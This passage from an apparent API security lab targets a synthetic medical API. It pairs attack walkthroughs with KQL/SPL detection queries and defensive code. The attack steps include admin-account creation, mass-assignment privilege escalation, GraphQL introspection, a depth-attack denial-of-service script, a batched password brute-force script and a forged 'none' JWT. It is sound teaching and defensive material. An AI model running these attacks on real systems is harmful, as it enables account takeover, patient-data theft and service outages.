# Create a new admin user (admin function)
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"username": "backdoor-admin",
"email": "backdoor@example.com",
"password": "REDACTED",
"role": "admin"
}' \
https://api.example.com/v2/internal/admin/users | jq .
Expected Output (Vulnerable):
{
"id": "user-9999",
"username": "backdoor-admin",
"email": "backdoor@example.com",
"role": "admin",
"created_at": "2026-04-05T10:05:00Z",
"message": "User created successfully"
}
Finding: API5:2023 — Broken Function Level Authorization (Critical)
A user with patient role can access /v2/internal/admin/users and create new admin accounts. The endpoint performs authentication (valid token required) but does not verify the user's role. Administrative endpoints must enforce role-based authorization checks in middleware, not just at the route level.
# Test additional admin functions
# Delete a patient record
curl -s -X DELETE \
-H "Authorization: Bearer $TOKEN" \
https://api.example.com/v2/patients/1002
# Access internal metrics
curl -s -H "Authorization: Bearer $TOKEN" \
https://api.example.com/v2/internal/metrics | jq '.database'
# Export all records
curl -s -H "Authorization: Bearer $TOKEN" \
"https://api.example.com/v2/reports/generate?format=csv&scope=all_patients"
Step 3.4 — Mass Assignment Exploitation¶
Mass assignment occurs when the API binds client-supplied data directly to internal data models without filtering which fields the user can modify.
# View current user profile
curl -s -H "Authorization: Bearer $TOKEN" \
https://api.example.com/v2/users/me | jq .
Expected Output:
{
"id": "user-5847",
"username": "testuser",
"email": "testuser@example.com",
"role": "patient",
"verified": true,
"is_admin": false,
"subscription": "free",
"permissions": ["read:own_records", "write:own_appointments"]
}
# Attempt mass assignment — inject admin fields in profile update
curl -s -X PATCH \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"email": "testuser@example.com",
"role": "admin",
"is_admin": true,
"subscription": "enterprise",
"permissions": ["admin:all", "read:all_records", "write:all", "delete:all"]
}' \
https://api.example.com/v2/users/me | jq .
Expected Output (Vulnerable):
{
"id": "user-5847",
"username": "testuser",
"email": "testuser@example.com",
"role": "admin",
"verified": true,
"is_admin": true,
"subscription": "enterprise",
"permissions": ["admin:all", "read:all_records", "write:all", "delete:all"],
"message": "Profile updated successfully"
}
Finding: API6:2023 — Unrestricted Access to Sensitive Business Flows / Mass Assignment
The /v2/users/me PATCH endpoint accepts arbitrary fields including role, is_admin, and permissions. The API blindly assigns all submitted properties to the user model. The server must use a whitelist of editable fields (e.g., only email and name) and reject or ignore all other properties.
Phase 3 — Detection Queries¶
KQL — BOLA/IDOR Detection
// Detect sequential object ID enumeration (BOLA pattern)
ApiAccessLogs
| where TimeGenerated > ago(30m)
| where RequestPath matches regex @"/patients/\d+"
| extend PatientId = toint(extract(@"/patients/(\d+)", 1, RequestPath))
| summarize
UniqueIds = dcount(PatientId),
MinId = min(PatientId),
MaxId = max(PatientId),
RequestCount = count(),
Paths = make_set(RequestPath, 10)
by SourceIP, UserId, bin(TimeGenerated, 5m)
| where UniqueIds >= 10
| extend IdRange = MaxId - MinId,
AlertSeverity = iff(UniqueIds >= 50, "Critical", "High"),
AttackTechnique = "T1213 - Data from Information Repositories"
| where IdRange > 0
// Detect Broken Function Level Authorization — non-admin accessing admin endpoints
ApiAccessLogs
| where TimeGenerated > ago(1h)
| where RequestPath has "admin" or RequestPath has "internal"
| where ResponseCode == 200
| join kind=inner (
UserRoles
| where Role != "admin" and Role != "superadmin"
) on UserId
| project TimeGenerated, SourceIP, UserId, Role, RequestPath, HttpMethod
| extend AlertSeverity = "Critical",
AttackTechnique = "T1548 - Abuse Elevation Control Mechanism"
// Detect mass assignment attempts — unusual fields in PATCH/PUT requests
ApiAccessLogs
| where TimeGenerated > ago(1h)
| where HttpMethod in ("PATCH", "PUT")
| where RequestBody has_any ("role", "is_admin", "permissions",
"subscription", "verified", "admin")
| where ResponseCode == 200
| project TimeGenerated, SourceIP, UserId, RequestPath,
RequestBody, ResponseCode
| extend AlertSeverity = "High",
AttackTechnique = "T1548 - Mass Assignment"
SPL — Authorization Attack Detection
| Detect BOLA/IDOR sequential enumeration
index=api_logs sourcetype=api_access uri_path="/v2/patients/*"
| rex field=uri_path "/patients/(?<patient_id>\d+)"
| stats dc(patient_id) AS unique_ids
min(patient_id) AS min_id
max(patient_id) AS max_id
count AS request_count
by src_ip user_id _time span=5m
| where unique_ids >= 10
| eval id_range=max_id-min_id,
severity=if(unique_ids>=50, "Critical", "High"),
mitre_technique="T1213"
| Detect mass assignment via unexpected fields in request body
index=api_logs sourcetype=api_access http_method IN ("PATCH", "PUT")
| spath input=request_body
| where isnotnull(role) OR isnotnull(is_admin)
OR isnotnull(permissions) OR isnotnull(subscription)
| table _time src_ip user_id uri_path role is_admin permissions status
| eval severity="High",
mitre_technique="T1548",
alert_name="Mass Assignment Attempt"
Phase 4: GraphQL Exploitation¶
Objectives¶
- Use introspection queries to map the complete GraphQL schema
- Execute depth attacks with deeply nested queries to cause denial of service
- Perform batching brute-force against authentication mutations
- Exploit field suggestion leakage to discover hidden fields and types
ATT&CK Mapping¶
| Technique | ID | Tactic |
|---|---|---|
| Gather Victim Network Information | T1590 | Reconnaissance |
| Brute Force: Password Spraying | T1110.003 | Credential Access |
| Endpoint Denial of Service | T1499 | Impact |
| Network Denial of Service | T1498 | Impact |
Step 4.1 — GraphQL Introspection Attack¶
GraphQL introspection allows clients to query the schema itself. If enabled in production, attackers can map every type, field, mutation, and subscription.
# Full introspection query — extract the entire schema
curl -s -X POST https://graphql.example.com/query \
-H "Content-Type: application/json" \
-d '{
"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"
}' | jq '.data.__schema.types[] | select(.kind == "OBJECT") | .name'
Expected Output:
"Query"
"Mutation"
"Patient"
"Doctor"
"Appointment"
"Prescription"
"MedicalRecord"
"LabResult"
"InsuranceClaim"
"InternalAuditLog"
"AdminConfig"
"User"
"BillingInfo"
"PaymentMethod"
# Extract all queries and mutations available
curl -s -X POST https://graphql.example.com/query \
-H "Content-Type: application/json" \
-d '{
"query": "{ __schema { queryType { fields { name args { name type { name } } } } mutationType { fields { name args { name type { name } } } } } }"
}' | jq '.data.__schema'
Expected Output:
{
"queryType": {
"fields": [
{"name": "patient", "args": [{"name": "id", "type": {"name": "ID"}}]},
{"name": "patients", "args": [{"name": "limit", "type": {"name": "Int"}}, {"name": "offset", "type": {"name": "Int"}}]},
{"name": "doctor", "args": [{"name": "id", "type": {"name": "ID"}}]},
{"name": "appointment", "args": [{"name": "id", "type": {"name": "ID"}}]},
{"name": "myRecords", "args": []},
{"name": "auditLogs", "args": [{"name": "filter", "type": {"name": "AuditFilter"}}]},
{"name": "adminConfig", "args": []}
]
},
"mutationType": {
"fields": [
{"name": "login", "args": [{"name": "username", "type": {"name": "String"}}, {"name": "password", "type": {"name": "String"}}]},
{"name": "updatePatient", "args": [{"name": "id", "type": {"name": "ID"}}, {"name": "input", "type": {"name": "PatientInput"}}]},
{"name": "deletePatient", "args": [{"name": "id", "type": {"name": "ID"}}]},
{"name": "createPrescription", "args": [{"name": "input", "type": {"name": "PrescriptionInput"}}]},
{"name": "resetPassword", "args": [{"name": "email", "type": {"name": "String"}}]}
]
}
}
Finding: GraphQL Introspection Enabled in Production
Full introspection is enabled, exposing the complete API schema including internal types (InternalAuditLog, AdminConfig), all mutations (including deletePatient), and input type definitions. Introspection must be disabled in production or restricted to authenticated administrators.
# Extract sensitive type fields
curl -s -X POST https://graphql.example.com/query \
-H "Content-Type: application/json" \
-d '{
"query": "{ __type(name: \"Patient\") { fields { name type { name kind ofType { name } } } } }"
}' | jq '.data.__type.fields[] | .name'
Expected Output:
"id"
"name"
"email"
"dateOfBirth"
"ssn"
"insuranceId"
"medicalRecords"
"prescriptions"
"billingInfo"
"paymentMethods"
"internalNotes"
"riskScore"
Step 4.2 — GraphQL Depth Attack (Denial of Service)¶
Deeply nested queries can cause exponential server-side computation if query depth is not limited.
#!/usr/bin/env python3
"""GraphQL depth attack — EDUCATIONAL ONLY (SYNTHETIC)"""
import requests
import json
import time
GQL_BASE = "https://graphql.example.com/query" # SYNTHETIC
def build_depth_query(depth: int) -> str:
"""Build a deeply nested GraphQL query exploiting circular references."""
query = "{ patients { "
inner = ""
for i in range(depth):
inner += "appointments { doctor { patients { "
# Close all braces
inner += "id " + "} " * (depth * 3)
return query + inner + "} }"
# Test increasing depths
for depth in [5, 10, 20, 50, 100]:
query = build_depth_query(depth)
start = time.time()
try:
response = requests.post(
GQL_BASE,
json={"query": query},
timeout=30
)
elapsed = time.time() - start
if response.status_code == 200:
print(f"[+] Depth {depth:3d}: {elapsed:.2f}s — HTTP 200 "
f"(Response: {len(response.content)} bytes)")
elif response.status_code == 400:
error_msg = response.json().get("errors", [{}])[0].get("message", "")
print(f"[-] Depth {depth:3d}: Rejected — {error_msg}")
else:
print(f"[?] Depth {depth:3d}: HTTP {response.status_code}")
except requests.exceptions.Timeout:
elapsed = time.time() - start
print(f"[!] Depth {depth:3d}: TIMEOUT after {elapsed:.2f}s — "
f"server likely overloaded")
Expected Output (Vulnerable):
[+] Depth 5: 0.12s — HTTP 200 (Response: 45230 bytes)
[+] Depth 10: 0.89s — HTTP 200 (Response: 512840 bytes)
[+] Depth 20: 8.43s — HTTP 200 (Response: 5242880 bytes)
[+] Depth 50: 28.17s — HTTP 200 (Response: 15728640 bytes)
[!] Depth 100: TIMEOUT after 30.00s — server likely overloaded
Finding: No GraphQL Query Depth Limit
The GraphQL server processes queries of arbitrary depth, allowing an attacker to cause exponential server-side computation through circular type references (Patient → Appointment → Doctor → Patient → ...). Implement query depth limiting (recommended max: 7-10) and query complexity analysis.
Step 4.3 — GraphQL Batching Brute-Force¶
GraphQL allows sending multiple operations in a single HTTP request. Attackers exploit this to bypass rate limiting on authentication mutations.
#!/usr/bin/env python3
"""GraphQL batching brute-force attack — EDUCATIONAL ONLY (SYNTHETIC)"""
import requests
import json
GQL_BASE = "https://graphql.example.com/query" # SYNTHETIC
# Synthetic password list (EDUCATIONAL — all fictitious)
passwords = [
"REDACTED-password1", "REDACTED-password2", "REDACTED-password3",
"REDACTED-password4", "REDACTED-password5", "REDACTED-password6",
"REDACTED-password7", "REDACTED-password8", "REDACTED-password9",
"REDACTED-password10", "REDACTED-password11", "REDACTED-password12",
"REDACTED-correct-password", "REDACTED-password14",
"REDACTED-password15", "REDACTED-password16",
]
# Build batched login mutations — 16 attempts in one request
batch = []
for i, password in enumerate(passwords):
batch.append({
"query": f"""
mutation attempt{i} {{
login(username: "admin", password: "{password}") {{
token
success
message
}}
}}
"""
})
print(f"[*] Sending batched brute-force: {len(batch)} login attempts in 1 request")
response = requests.post(GQL_BASE, json=batch)
results = response.json()
print(f"[*] HTTP Status: {response.status_code}")
print(f"[*] Received {len(results)} responses\n")
for i, result in enumerate(results):
data = result.get("data", {}).get(f"attempt{i}", {})
if data and data.get("success"):
print(f"[!] CREDENTIAL FOUND at attempt {i}:")
print(f" Password: {passwords[i]}")
print(f" Token: {data.get('token', 'N/A')[:40]}...")
break
elif data:
print(f"[-] Attempt {i}: {data.get('message', 'Failed')}")
Expected Output (Vulnerable):
[*] Sending batched brute-force: 16 login attempts in 1 request
[*] HTTP Status: 200
[*] Received 16 responses
[-] Attempt 0: Invalid credentials
[-] Attempt 1: Invalid credentials
[-] Attempt 2: Invalid credentials
...
[-] Attempt 11: Invalid credentials
[!] CREDENTIAL FOUND at attempt 12:
Password: REDACTED-correct-password
Token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVC...
Finding: API4:2023 — Unrestricted Resource Consumption
GraphQL batching allows sending dozens of login mutations in a single HTTP request, effectively bypassing per-request rate limiting. The server must implement per-operation rate limiting, limit batch sizes, and apply complexity-based throttling.
Step 4.4 — GraphQL Field Suggestion Exploitation¶
When a field name is misspelled, many GraphQL servers suggest valid field names — leaking schema information even when introspection is disabled.
# Query with intentionally misspelled field to trigger suggestions
curl -s -X POST https://graphql.example.com/query \
-H "Content-Type: application/json" \
-d '{"query": "{ patient(id: \"1001\") { ssNumber } }"}' | jq '.errors'
Expected Output:
[
{
"message": "Cannot query field \"ssNumber\" on type \"Patient\". Did you mean \"ssn\", \"insuranceNumber\", or \"phoneNumber\"?",
"locations": [{"line": 1, "column": 30}],
"extensions": {
"code": "GRAPHQL_VALIDATION_FAILED"
}
}
]
# Systematically extract field names through suggestion exploitation
for field in passw secre intern admin config billing payment \
token cred apikey soci medic insur; do
result=$(curl -s -X POST https://graphql.example.com/query \
-H "Content-Type: application/json" \
-d "{\"query\": \"{ patient(id: \\\"1001\\\") { ${field} } }\"}")
suggestions=$(echo "$result" | jq -r '.errors[0].message // empty' | \
grep -oP '"[^"]+?"' | tr -d '"')
if [ -n "$suggestions" ]; then
echo "[+] Prefix '${field}' → Suggested fields: $suggestions"
fi
done
Expected Output:
[+] Prefix 'passw' → Suggested fields: passwordHash passwordResetToken
[+] Prefix 'secre' → Suggested fields: secretQuestion secretAnswer
[+] Prefix 'intern' → Suggested fields: internalNotes internalId
[+] Prefix 'admin' → Suggested fields: adminNotes adminOverride
[+] Prefix 'billing' → Suggested fields: billingInfo billingAddress
[+] Prefix 'payment' → Suggested fields: paymentMethods paymentHistory
[+] Prefix 'token' → Suggested fields: tokenExpiry tokenVersion
[+] Prefix 'soci' → Suggested fields: ssn socialSecurityNumber
[+] Prefix 'medic' → Suggested fields: medicalRecords medicationList
[+] Prefix 'insur' → Suggested fields: insuranceId insuranceProvider
Finding: Schema Leakage via Field Suggestions
Even if introspection is disabled, field suggestions reveal the complete schema. The server exposes sensitive internal fields (passwordHash, passwordResetToken, adminOverride) through error messages. Disable field suggestions in production using the fieldSuggestions: false option.
Phase 4 — Detection Queries¶
KQL — GraphQL Attack Detection
// Detect GraphQL introspection queries
ApiAccessLogs
| where TimeGenerated > ago(1h)
| where RequestPath has "graphql"
| where RequestBody has "__schema" or RequestBody has "__type"
or RequestBody has "__introspection"
| summarize
IntrospectionCount = count(),
UniqueQueries = dcount(RequestBody)
by SourceIP, bin(TimeGenerated, 15m)
| extend AlertSeverity = "High",
AttackTechnique = "T1590 - Gather Victim Network Information"
// Detect GraphQL depth attacks via response size and latency
ApiAccessLogs
| where TimeGenerated > ago(1h)
| where RequestPath has "graphql"
| where ResponseSizeBytes > 1048576 or ResponseTimeMs > 5000
| project TimeGenerated, SourceIP, RequestPath, ResponseSizeBytes,
ResponseTimeMs, ResponseCode
| extend ResponseSizeMB = round(ResponseSizeBytes / 1048576.0, 2)
| where ResponseSizeMB > 1 or ResponseTimeMs > 5000
| extend AlertSeverity = "High",
AttackTechnique = "T1499 - Endpoint Denial of Service"
// Detect GraphQL batching brute-force
ApiAccessLogs
| where TimeGenerated > ago(30m)
| where RequestPath has "graphql"
| where RequestBody has "login" or RequestBody has "authenticate"
| extend BatchSize = countof(RequestBody, "mutation")
| where BatchSize >= 5
| project TimeGenerated, SourceIP, BatchSize, ResponseCode
| extend AlertSeverity = "Critical",
AttackTechnique = "T1110.003 - Brute Force: Password Spraying"
SPL — GraphQL Attack Detection
| Detect GraphQL introspection queries
index=api_logs sourcetype=api_access uri_path="*graphql*"
| search request_body="*__schema*" OR request_body="*__type*"
| stats count AS introspection_count
dc(request_body) AS unique_queries
by src_ip span=15m
| where introspection_count >= 1
| eval severity="High",
mitre_technique="T1590"
| Detect GraphQL batching brute-force
index=api_logs sourcetype=api_access uri_path="*graphql*"
| eval mutation_count=mvcount(split(request_body, "mutation"))
| where mutation_count >= 5
| search request_body="*login*" OR request_body="*authenticate*"
| table _time src_ip mutation_count response_time status
| eval severity="Critical",
mitre_technique="T1110.003",
alert_name="GraphQL Batching Brute-Force"
Phase 5: Defense Implementation¶
Objectives¶
- Implement JSON Schema input validation to prevent mass assignment and injection
- Configure rate limiting at the API gateway level
- Enforce JWT algorithm allowlisting to prevent algorithm confusion attacks
- Build proper authorization middleware with object-level access control
- Apply API gateway security policies for comprehensive protection
ATT&CK Mapping¶
| Technique Mitigated | ID | Mitigation Category |
|---|---|---|
| Forge Web Credentials | T1606 | M1054 — Software Configuration |
| Abuse Elevation Control Mechanism | T1548 | M1038 — Execution Prevention |
| Brute Force | T1110 | M1036 — Account Use Policies |
| Endpoint Denial of Service | T1499 | M1037 — Filter Network Traffic |
Step 5.1 — JSON Schema Input Validation¶
Prevent mass assignment by explicitly defining and validating the allowed request schema.
#!/usr/bin/env python3
"""JSON Schema validation middleware — EDUCATIONAL EXAMPLE"""
from jsonschema import validate, ValidationError
import json
# Define strict schemas for each endpoint
SCHEMAS = {
"PATCH /v2/users/me": {
"type": "object",
"properties": {
"email": {
"type": "string",
"format": "email",
"maxLength": 255
},
"name": {
"type": "string",
"minLength": 1,
"maxLength": 100,
"pattern": "^[a-zA-Z\\s'-]+$"
},
"phone": {
"type": "string",
"pattern": "^\\+?[1-9]\\d{1,14}$"
}
},
"additionalProperties": False, # CRITICAL: reject unknown fields
"required": []
},
"POST /v2/patients": {
"type": "object",
"properties": {
"name": {
"type": "string",
"minLength": 1,
"maxLength": 200
},
"email": {
"type": "string",
"format": "email"
},
"dateOfBirth": {
"type": "string",
"format": "date",
"pattern": "^\\d{4}-\\d{2}-\\d{2}$"
}
},
"additionalProperties": False,
"required": ["name", "email", "dateOfBirth"]
}
}
def validate_request(method: str, path: str, body: dict) -> dict:
"""Validate request body against JSON Schema."""
schema_key = f"{method} {path}"
schema = SCHEMAS.get(schema_key)
if not schema:
return {"valid": False, "error": "No schema defined for endpoint"}
try:
validate(instance=body, schema=schema)
return {"valid": True}
except ValidationError as e:
return {
"valid": False,
"error": f"Validation failed: {e.message}",
"path": list(e.absolute_path),
"rejected_field": e.path[-1] if e.path else None
}
# Test: legitimate update — should pass
result = validate_request("PATCH", "/v2/users/me", {
"email": "newemail@example.com",
"name": "Test User"
})
print(f"Legitimate update: {result}")
# Output: {'valid': True}
# Test: mass assignment attempt — should fail
result = validate_request("PATCH", "/v2/users/me", {
"email": "newemail@example.com",
"role": "admin",
"is_admin": True,
"permissions": ["admin:all"]
})
print(f"Mass assignment attempt: {result}")
# Output: {'valid': False, 'error': "Validation failed: Additional properties are
# not allowed ('role', 'is_admin', 'permissions' were unexpected)"}
Step 5.2 — Rate Limiting Configuration¶
#!/usr/bin/env python3
"""API rate limiting configuration — EDUCATIONAL EXAMPLE"""
# Express.js rate limiting configuration (Node.js)
RATE_LIMIT_CONFIG = """
const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');
const Redis = require('ioredis');
const redis = new Redis({
host: '10.10.50.200', // SYNTHETIC — RFC 1918
port: 6379
});
// Global rate limit — 100 requests per 15 minutes per IP
const globalLimiter = rateLimit({
store: new RedisStore({ sendCommand: (...args) => redis.call(...args) }),
windowMs: 15 * 60 * 1000,
max: 100,
standardHeaders: true,
legacyHeaders: false,
message: {
error: 'rate_limit_exceeded',
message: 'Too many requests. Try again later.',
retryAfter: 900
}
});
// Strict rate limit for authentication endpoints
const authLimiter = rateLimit({
store: new RedisStore({ sendCommand: (...args) => redis.call(...args) }),
windowMs: 15 * 60 * 1000,
max: 5, // Only 5 login attempts per 15 minutes
skipSuccessfulRequests: true,
message: {
error: 'auth_rate_limit',
message: 'Too many login attempts. Account temporarily locked.',
retryAfter: 900
}
});
// Sensitive endpoint rate limit
const sensitiveLimiter = rateLimit({
store: new RedisStore({ sendCommand: (...args) => redis.call(...args) }),
windowMs: 60 * 1000,
max: 10,
message: {
error: 'sensitive_rate_limit',
message: 'Rate limit exceeded for this resource.'
}
});
// Apply rate limiters
app.use('/v2/', globalLimiter);
app.use('/v2/auth/login', authLimiter);
app.use('/v2/auth/register', authLimiter);
app.use('/v2/patients/', sensitiveLimiter);
app.use('/v2/reports/', sensitiveLimiter);
"""
print(RATE_LIMIT_CONFIG)
Nginx API Gateway Rate Limiting:
# /etc/nginx/conf.d/api-rate-limiting.conf (SYNTHETIC)
# Define rate limit zones
limit_req_zone $binary_remote_addr zone=api_global:10m rate=10r/s;
limit_req_zone $binary_remote_addr zone=api_auth:10m rate=1r/m;
limit_req_zone $binary_remote_addr zone=api_sensitive:10m rate=5r/s;
limit_req_zone $binary_remote_addr zone=graphql:10m rate=2r/s;
server {
listen 443 ssl http2;
server_name api.example.com; # SYNTHETIC
# Global rate limit
location /v2/ {
limit_req zone=api_global burst=20 nodelay;
limit_req_status 429;
proxy_pass http://10.10.50.100:3000; # SYNTHETIC — RFC 1918
}
# Strict auth rate limit
location /v2/auth/ {
limit_req zone=api_auth burst=3 nodelay;
limit_req_status 429;
proxy_pass http://10.10.50.100:3000;
}
# Sensitive data rate limit
location /v2/patients/ {
limit_req zone=api_sensitive burst=10 nodelay;
limit_req_status 429;
proxy_pass http://10.10.50.100:3000;
}
# GraphQL rate limit
location /query {
limit_req zone=graphql burst=5 nodelay;
limit_req_status 429;
# Limit request body size to prevent depth attacks
client_max_body_size 10k;
proxy_pass http://10.10.50.101:4000; # SYNTHETIC
}
# Custom 429 error response
error_page 429 = @rate_limited;
location @rate_limited {
default_type application/json;
return 429 '{"error":"rate_limit_exceeded","retryAfter":60}';
}
}
Step 5.3 — JWT Validation with Algorithm Allowlisting¶
#!/usr/bin/env python3
"""Secure JWT validation middleware — EDUCATIONAL EXAMPLE"""
import jwt
from functools import wraps
from flask import request, jsonify, g
# CRITICAL: Explicit algorithm allowlist
ALLOWED_ALGORITHMS = ["RS256"] # NEVER include "none" or "HS256" with RSA keys
# Load the public key (SYNTHETIC — not a real key)
PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0SYNTHETIC...
REDACTED...EXAMPLE...ONLY
-----END PUBLIC KEY-----"""
ISSUER = "https://auth.example.com" # SYNTHETIC
AUDIENCE = "medvault-api" # SYNTHETIC
def validate_jwt(token: str) -> dict:
"""
Validate JWT with strict security controls.
Security measures:
1. Algorithm allowlist — only RS256 accepted
2. Issuer validation — must match auth server
3. Audience validation — must match this API
4. Expiration enforcement — reject expired tokens
5. Required claims — sub, role, permissions must exist
"""
try:
payload = jwt.decode(
token,
PUBLIC_KEY,
algorithms=ALLOWED_ALGORITHMS, # CRITICAL: never use jwt.decode(token, key)
issuer=ISSUER, # Verify issuer claim
audience=AUDIENCE, # Verify audience claim
options={
"require": ["exp", "iat", "sub", "iss", "aud"],
"verify_exp": True,
"verify_iat": True,
"verify_iss": True,
"verify_aud": True,
}
)
return {"valid": True, "payload": payload}
except jwt.InvalidAlgorithmError:
return {"valid": False, "error": "Invalid algorithm — only RS256 accepted"}
except jwt.ExpiredSignatureError:
return {"valid": False, "error": "Token expired"}
except jwt.InvalidIssuerError:
return {"valid": False, "error": "Invalid token issuer"}
except jwt.InvalidAudienceError:
return {"valid": False, "error": "Invalid token audience"}
except jwt.DecodeError:
return {"valid": False, "error": "Token decode failed — malformed JWT"}
except Exception as e:
return {"valid": False, "error": f"Validation error: {str(e)}"}
def require_auth(f):
"""Authentication middleware decorator."""
@wraps(f)
def decorated(*args, **kwargs):
auth_header = request.headers.get("Authorization", "")
if not auth_header.startswith("Bearer "):
return jsonify({"error": "Missing or invalid Authorization header"}), 401
token = auth_header.split(" ", 1)[1]
result = validate_jwt(token)
if not result["valid"]:
return jsonify({"error": result["error"]}), 401
g.user = result["payload"]
return f(*args, **kwargs)
return decorated
def require_role(*allowed_roles):
"""Role-based authorization middleware."""
def decorator(f):
@wraps(f)
def decorated(*args, **kwargs):
user_role = g.user.get("role", "")
if user_role not in allowed_roles:
return jsonify({
"error": "forbidden",
"message": f"Role '{user_role}' not authorized for this resource"
}), 403
return f(*args, **kwargs)
return decorator
return decorator
# Usage examples:
# @app.route("/v2/patients/<patient_id>")
# @require_auth
# def get_patient(patient_id):
# # Object-level authorization — verify user owns this record
# if g.user["role"] != "admin" and g.user["sub"] != get_patient_owner(patient_id):
# return jsonify({"error": "forbidden"}), 403
# ...
#
# @app.route("/v2/internal/admin/users")
# @require_auth
# @require_role("admin", "superadmin")
# def list_admin_users():
# ...
Step 5.4 — Object-Level Authorization Middleware¶
#!/usr/bin/env python3
"""Object-level authorization (BOLA prevention) — EDUCATIONAL EXAMPLE"""
from functools import wraps
from flask import request, jsonify, g
# Resource ownership mapping (in production, this queries the database)
OWNERSHIP_RULES = {
"patients": {
"owner_field": "user_id", # DB field linking patient to user
"admin_bypass": True, # Admins can access any patient
"allowed_roles": ["admin", "doctor", "patient"]
},
"appointments": {
"owner_field": "patient_user_id",
"admin_bypass": True,
"allowed_roles": ["admin", "doctor", "patient"]
},
"prescriptions": {
"owner_field": "patient_user_id",
"admin_bypass": True,
"allowed_roles": ["admin", "doctor"]
}
}
def check_object_authorization(resource_type: str, resource_id: str,
user: dict, db) -> dict:
"""
Verify the authenticated user is authorized to access a specific object.
Returns:
{"authorized": True} or {"authorized": False, "reason": "..."}
"""
rules = OWNERSHIP_RULES.get(resource_type)
if not rules:
return {"authorized": False, "reason": "Unknown resource type"}
user_role = user.get("role", "")
user_id = user.get("sub", "")
# Check role is allowed for this resource type
if user_role not in rules["allowed_roles"]:
return {"authorized": False, "reason": f"Role '{user_role}' cannot access {resource_type}"}
# Admin bypass (if configured)
if rules["admin_bypass"] and user_role == "admin":
return {"authorized": True}
# Object-level check: does this user own this resource?
resource = db.get(resource_type, resource_id)
if not resource:
return {"authorized": False, "reason": "Resource not found"}
owner_id = resource.get(rules["owner_field"])
if owner_id != user_id:
return {"authorized": False,
"reason": f"User {user_id} does not own {resource_type}/{resource_id}"}
return {"authorized": True}
def require_object_access(resource_type: str):
"""Decorator to enforce object-level authorization."""
def decorator(f):
@wraps(f)
def decorated(*args, **kwargs):
resource_id = kwargs.get("id") or kwargs.get("resource_id")
if not resource_id:
return jsonify({"error": "Resource ID required"}), 400
result = check_object_authorization(
resource_type, resource_id, g.user, g.db
)
if not result["authorized"]:
# Log the unauthorized access attempt
log_security_event(
event_type="BOLA_ATTEMPT",
user_id=g.user.get("sub"),
resource=f"{resource_type}/{resource_id}",
reason=result["reason"],
source_ip=request.remote_addr
)
return jsonify({"error": "forbidden"}), 403
return f(*args, **kwargs)
return decorator
return decorator
def log_security_event(**kwargs):
"""Log security events for SIEM ingestion."""
import json
import datetime
event = {
"timestamp": datetime.datetime.utcnow().isoformat(),
"severity": "HIGH",
**kwargs
}
# In production: send to SIEM via syslog, HTTP, or message queue
print(json.dumps(event))
Step 5.5 — API Gateway Security Policies¶
# API Gateway security policy configuration (SYNTHETIC)
# Platform: Kong / AWS API Gateway / Azure APIM style
api_security_policies:
# 1. Authentication enforcement
authentication:
type: jwt
config:
algorithms: ["RS256"] # Allowlist only
issuer: "https://auth.example.com"
audience: "medvault-api"
jwks_uri: "https://auth.example.com/.well-known/jwks.json"
claims_to_verify: ["exp", "iat", "iss", "aud", "sub"]
token_header: "Authorization"
token_prefix: "Bearer"
# 2. Input validation
request_validation:
enabled: true
config:
content_type_validation: true
allowed_content_types: ["application/json"]
max_body_size: "100KB"
parameter_validation: true
reject_unknown_parameters: true
# 3. Rate limiting tiers
rate_limiting:
global:
requests_per_minute: 60
requests_per_hour: 1000
by: "consumer_ip"
authentication:
requests_per_minute: 5
requests_per_hour: 20
by: "consumer_ip"
sensitive_data:
requests_per_minute: 20
requests_per_hour: 200
by: "consumer_credential"
# 4. Response transformation (prevent data leakage)
response_transformation:
remove_headers:
- "X-Powered-By"
- "Server"
add_headers:
- "X-Content-Type-Options: nosniff"
- "X-Frame-Options: DENY"
- "Strict-Transport-Security: max-age=31536000; includeSubDomains"
- "Cache-Control: no-store"
strip_stack_traces: true
# 5. IP allowlisting for admin endpoints
ip_restriction:
admin_endpoints:
paths: ["/v2/internal/*", "/v2/admin/*"]
allowed_ips:
- "10.10.0.0/16" # SYNTHETIC — corporate VPN
- "192.168.100.0/24" # SYNTHETIC — SOC subnet
deny_action: "reject"
deny_status: 403
# 6. Request size and complexity limits
request_limits:
max_uri_length: 2048
max_header_count: 50
max_header_size: "8KB"
max_query_params: 20
graphql:
max_depth: 7
max_complexity: 1000
max_aliases: 10
introspection: false
batch_limit: 5
Phase 5 — Validation Testing¶
# Test 1: Verify algorithm allowlisting blocks 'none' algorithm
FORGED_TOKEN="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyLTU4NDciLCJyb2xlIjoiYWRtaW4ifQ."
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
https://api.example.com/v2/users/me | jq .
# Expected: {"error": "Invalid algorithm — only RS256 accepted"}
# Test 2: Verify mass assignment is blocked
TOKEN=$(curl -s -X POST https://api.example.com/v2/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"testuser","password":"REDACTED"}' | jq -r '.token')
curl -s -X PATCH \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"role":"admin","is_admin":true}' \
https://api.example.com/v2/users/me | jq .
# Expected: {"error": "Validation failed: Additional properties
# are not allowed ('role', 'is_admin' were unexpected)"}
# Test 3: Verify BOLA is prevented
curl -s -H "Authorization: Bearer $TOKEN" \
https://api.example.com/v2/patients/1002 | jq .
# Expected: {"error": "forbidden"} — user 5847 doesn't own patient 1002
# Test 4: Verify rate limiting on auth endpoint
for i in $(seq 1 10); do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST https://api.example.com/v2/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"testuser","password":"REDACTED-wrong"}')
echo "Attempt $i: HTTP $status"
done
# Expected: First 5 return 401, remaining return 429
# Test 5: Verify GraphQL introspection is disabled
curl -s -X POST https://graphql.example.com/query \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name } } }"}' | jq .
# Expected: {"errors": [{"message": "Introspection is disabled"}]}
Phase 6: Detection & Monitoring¶
Objectives¶
- Build comprehensive KQL and SPL detection queries for all API attack types
